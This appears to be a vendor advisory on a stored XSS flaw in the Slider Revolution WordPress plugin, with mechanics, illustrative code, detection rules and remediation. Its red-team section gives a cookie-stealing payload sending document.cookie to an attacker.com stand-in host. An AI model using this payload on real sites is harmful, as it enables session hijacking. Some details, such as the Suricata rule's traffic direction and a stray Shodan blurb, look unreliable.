CVE-2024-4581
Executive Summary
CVE-2024-4581 is a Stored Cross-Site Scripting (XSS) vulnerability in the Slider Revolution plugin for WordPress, affecting all versions up to and including 6.7.11. The flaw resides in the plugin’s “Add Layer” widget, where insufficient input sanitization and output escaping on the user-supplied class, id, and title attributes allow authenticated attackers with Author-level access (or higher) to inject arbitrary web scripts. Successful exploitation requires an Administrator to grant Slider Creation privileges to Author-level users. Once injected, the malicious script executes whenever a victim accesses the compromised page, potentially leading to session hijacking, credential theft, or defacement.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
WordPress Ecosystem Context
This vulnerability is specific to the WordPress plugin ecosystem. The attack surface is limited to WordPress sites running the vulnerable Slider Revolution plugin. No Apache or Nginx server-level misconfiguration is involved.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Author-level)
- User Interaction: None
- Scope: Changed (impact on other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. The requirement for Slider Creation privileges reduces the attack surface, but once exploited, the XSS can affect all site visitors.
Deep Dive & Mechanics
The vulnerability exists in the Slider Revolution plugin’s “Add Layer” widget, which allows users to define custom CSS classes, IDs, and title attributes for layers. The plugin fails to properly sanitize and escape these attributes before rendering them in the HTML output.
Attack Flow:
- An Administrator grants Slider Creation privileges to an Author-level user.
- The Author creates or edits a slider and adds a layer.
- In the layer’s advanced settings, the Author injects a malicious payload into the
class,id, ortitlefield, e.g.,"><script>alert('XSS')</script>. - The plugin stores the payload without sanitization.
- When any user (including Administrators) visits a page containing the slider, the payload executes in their browser.
Root Cause: Insufficient input validation and output escaping on user-controlled attributes. The plugin likely uses esc_attr() incorrectly or not at all for these specific fields.
Vulnerable vs. Patched Code
Vulnerable Code (<= 6.7.11):
// In slider-revolution.php or similar
$class = $layer['class']; // No sanitization
$id = $layer['id']; // No sanitization
$title = $layer['title']; // No sanitization
echo "<div class='$class' id='$id' title='$title'>";
Patched Code (Hypothetical):
$class = sanitize_html_class($layer['class']);
$id = esc_attr($layer['id']);
$title = esc_attr($layer['title']);
echo "<div class='$class' id='$id' title='$title'>";
The patch would use sanitize_html_class() for the class attribute and esc_attr() for id and title to prevent XSS.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress site with Slider Revolution <= 6.7.11
- Author-level account with Slider Creation privileges granted by Admin
Exploit Steps:
- Log in as Author.
- Navigate to Slider Revolution → Create New Slider.
- Add a new layer (e.g., text layer).
- In the layer’s advanced settings, set the
classattribute to:"><img src=x onerror=alert(document.cookie)> - Save the slider and publish it on a page.
- When an Admin or visitor loads the page, the XSS triggers.
Proof-of-Concept Payload:
"><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Blue Team (Detection & Hardening)
Detection:
- Monitor for unusual
class,id, ortitlevalues in Slider Revolution layers. - Look for patterns like
"><,<script,onerror=,onload=in slider data.
Hardening:
- Restrict Slider Creation privileges to trusted users only.
- Apply a Web Application Firewall (WAF) rule to block XSS payloads in POST requests to
/wp-admin/admin-ajax.php(where slider data is saved). - Use a WordPress security plugin to monitor file changes and user role modifications.
Indicators of Compromise (IOCs)
- File-based IOCs:
- Modified slider data in the WordPress database (
wp_revslider_slidersorwp_revslider_slidestables) containing XSS payloads.
- Modified slider data in the WordPress database (
- Network IOCs:
- Outbound HTTP requests to attacker-controlled domains from the WordPress server.
- Log IOCs:
- Unusual entries in WordPress debug log (
wp-content/debug.log) showing XSS attempts. - Suspicious POST requests to
/wp-admin/admin-ajax.phpwithaction=revslider_ajax_actionand payloads indataparameter.
- Unusual entries in WordPress debug log (
Detection Engineering
YARA Rule
rule CVE_2024_4581_Slider_Revolution_XSS {
meta:
description = "Detects XSS payloads in Slider Revolution layer attributes"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-4581"
strings:
$xss1 = /class\s*=\s*["'][^"']*["'][^>]*>/ nocase
$xss2 = /id\s*=\s*["'][^"']*["'][^>]*>/ nocase
$xss3 = /title\s*=\s*["'][^"']*["'][^>]*>/ nocase
$payload = /<script|<img|<svg|onerror|onload|onmouseover/i
condition:
any of ($xss*) and $payload
}
Sigma Rule
title: CVE-2024-4581 Slider Revolution Stored XSS
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts via Slider Revolution layer attributes
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri: '/wp-admin/admin-ajax.php'
cs-uri-query: 'action=revslider_ajax_action'
cs-request-body|contains:
- 'class='
- 'id='
- 'title='
cs-request-body|re: '(<script|<img|<svg|onerror|onload|onmouseover)'
condition: selection
falsepositives:
- Legitimate use of JavaScript in slider layers (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-4581 Slider Revolution Stored XSS Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/wp-admin/admin-ajax.php"; http_uri;
content:"action=revslider_ajax_action"; http_client_body;
pcre:"/(<script|<img|<svg|onerror|onload|onmouseover)/i";
sid:1000001;
rev:1;
reference:cve,2024-4581;
priority:2;
)
Remediation & Mitigation
Immediate Actions:
- Upgrade the Slider Revolution plugin to the latest patched version (if available). Check the plugin’s changelog for version > 6.7.11.
- Restrict Slider Creation privileges to only trusted Administrators. Remove this capability from Author and Editor roles.
- Apply a virtual patch using a WAF to block XSS payloads in slider-related POST requests.
Long-term Measures:
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
- Regularly audit user roles and capabilities.
- Use a WordPress security plugin with file integrity monitoring.
Workaround: If patching is not possible, disable the Slider Creation feature for non-Administrator users by modifying the plugin’s capabilities via a custom plugin or code snippet.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.